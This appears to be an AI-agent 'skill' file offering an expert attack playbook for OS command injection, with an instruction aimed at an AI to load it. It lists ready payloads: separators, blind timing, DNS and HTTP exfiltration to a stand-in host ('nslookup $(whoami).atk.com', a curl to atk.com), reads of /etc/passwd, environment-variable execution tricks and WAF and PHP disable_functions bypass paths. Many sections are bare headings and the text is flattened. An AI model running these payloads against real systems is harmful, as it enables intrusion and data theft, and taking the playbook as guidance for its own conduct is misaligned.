Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

SKILL: OS Command Injection — Expert Attack Playbook AI LOAD INSTRUCTION : Expert command injection techniques. Covers all shell metacharacters, blind injection, time based detection, OOB exfiltration, polyglot payloads, and real world code patterns. Base models miss subtle injection through unexpected input vectors. 0. RELATED ROUTING Before going deep, you can first load: [upload insecure files](../upload insecure files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow First pass payload families Context Start With Backup generic shell separator ;id &&id quoted argument ";id;" ';id;' blind timing ;sleep 5 & timeout /T 5 /NOBREAK command substitution $(id) id out of band DNS ;nslookup token.collab Windows nslookup variant 1. SHELL METACHARACTERS (INJECTION OPERATORS) These characters break out of the command context and inject new commands: Metacharacter Behavior Example ; Runs second command regardless dir; whoami \ Pipes stdout to second command dir \ whoami \ \ Run second only if first FAILS dir \ \ whoami & Run second in background (or sequenced in Windows) dir & whoami && Run second only if first SUCCEEDS dir && whoami $(cmd) Command substitution echo $(whoami) cmd Command substitution (backtick) echo whoami Redirect stdout to file cmd /tmp/out Append to file cmd /tmp/out < Read file as stdin cmd < /etc/passwd %0a Newline character (URL encoded) cmd%0awhoami %0d%0a CRLF Multi command injection 2. COMMON VULNERABLE CODE PATTERNS PHP Python Node.js Perl ASP (Classic) 3. BLIND COMMAND INJECTION — DETECTION When response shows no command output: Time Based Detection Compare response time without payload vs with payload. 5+ second delay = confirmed. OOB via DNS OOB via HTTP OOB via Out of Band File 4. INJECTION CONTEXT VARIATIONS Within Quoted String Within Single Quoted String Within Backtick Execution File Path Context 5. PAYLOAD LIBRARY Information Gathering Reverse Shells (Linux) Reverse Shells (Windows via PowerShell) 6. FILTER BYPASS TECHNIQUES Space Alternatives (when space is filtered) Slash Alternatives (when / is filtered) Keyword Bypass via Variable Assembly Newline Injection 7. COMMON INJECTION ENTRY POINTS Entry Example Network tools ping, nslookup, traceroute, whois forms File conversion image resize, PDF generate, format convert Email senders From address, name fields in notification emails Search/sort parameters Passed to grep, find, sort commands Log viewing Passed to tail, grep commands Custom script execution "Run test" features, CI/CD hooks DNS lookup features rDNS lookup, WHOIS query Backup/restore features File path parameters Archive processing zip/unzip, tar with user provided filename 8. BLIND INJECTION DECISION TREE 9. ADVANCED WAF BYPASS TECHNIQUES Wildcard Expansion cat Alternatives (when "cat" is filtered) Comment Insertion (PHP specific) XOR String Construction (PHP) Base64/ROT13 Encoding chr() Assembly Dollar Sign Variable Tricks 10. PHP disable functions BYPASS PATHS When system() , exec() , shell exec() , passthru() , popen() , proc open() are all disabled: Path 1: LD PRELOAD + mail()/putenv() Path 2: Shellshock (CVE 2014 6271) Path 3: Apache mod cgi + .htaccess Path 4: PHP FPM / FastCGI Path 5: COM Object (Windows) Path 6: ImageMagick Delegate (CVE 2016 3714 "ImageTragick") Also consider (summary): iconv (CVE 2024 2961) via php://filter/convert.iconv ; FFI ( FFI::cdef + libc ) when the extension is enabled. 11. COMPONENT LEVEL COMMAND INJECTION ImageMagick Delegate Abuse FFmpeg (HLS/concat protocol) Elasticsearch Groovy Script (pre 5.x) Ping/Traceroute/NSLookup Diagnostic Pages Other sinks (quick reference): PDF generators (wkhtmltopdf / WeasyPrint with user HTML); Git wrappers ( git clone URL / hooks). 12. WINDOWS CMD.EXE VS POWERSHELL INJECTION MATRIX Feature cmd.exe PowerShell Command separator & , && , \ \ , ; (limited) ; , \ , & (call operator) Variable expansion %VARIABLE% , !VAR! (delayed) $env:VARIABLE , $Variable Escape character ^ (caret) (backtick) Command substitution FOR /F loops $() subexpression Encoded execution N/A EncodedCommand (base64 UTF 16LE) Pipeline \ (stdout only) \ (objects, not text) Comment REM , :: String quoting "double" only "double" , 'single' (no expansion) cmd.exe specific payloads PowerShell specific payloads Cross platform payload differences Target Time delay DNS exfil File read Linux/macOS sleep 5 nslookup $(whoami).atk.com cat /etc/passwd cmd.exe timeout /T 5 /NOBREAK nslookup %USERNAME%.atk.com type C:\Windows\win.ini PowerShell Start Sleep 5 nslookup $(whoami).atk.com Get Content C:\Windows\win.ini Detection first polyglot Works across sh/bash/cmd contexts — one of the separators will fire. 13. CONTAINER / K8S EXEC INJECTION kubectl exec injection When a web application constructs kubectl exec commands with user input: Docker exec injection Container runtime API (unauthenticated) Sinks to watch for Component Injection Vector CI/CD pipeline (Jenkins, GitLab CI) Build step parameters, environment variables Kubernetes CronJob .spec.containers[].command from user defined schedules Helm chart values values.yaml templated into pod specs with {{ }} Container orchestration UI "Run command" features in Portainer, Rancher, etc. 14. ENVIRONMENT VARIABLE INJECTION When an application allows setting or influencing environment variables, several variables have implicit execution semantics: Linux / Unix Variable Effect Exploitation LD PRELOAD Loaded before any shared library; constructor runs on process start putenv("LD PRELOAD=/tmp/evil.so"); mail("a@b","",""); LD LIBRARY PATH Overrides library search path Place malicious libc.so.6 in controlled directory BASH ENV Executed when non interactive bash starts BASH ENV=/tmp/evil.sh → any system() / popen() call sources it ENV Same as BASH ENV for POSIX sh ENV=/tmp/evil.sh PROMPT COMMAND Executed before each interactive prompt PROMPT COMMAND="curl http://atk.com/$(whoami)" PS1 Prompt string, supports $() expansion in bash PS1='$(cat /etc/passwd /tmp/out) \$ ' PYTHONSTARTUP Python script executed on interpreter startup Inject path to malicious .py file PERL5OPT Options passed to every Perl invocation PERL5OPT=' Mbase;system("id")' NODE OPTIONS Options passed to every Node.js invocation NODE OPTIONS=' require /tmp/evil.js' RUBYOPT Options for Ruby RUBYOPT=' r/tmp/evil.rb' Windows Variable Effect COMSPEC Path to command interpreter; system() calls use this Set to malicious executable PATH Command resolution order; place malicious binary earlier in path DLL/EXE search order hijacking PSModulePath PowerShell auto loads modules from these paths Plant malicious module Attack scenarios PHP putenv() + mail() : Git hook injection via environment : Node.js require injection :

cmdi-command-injection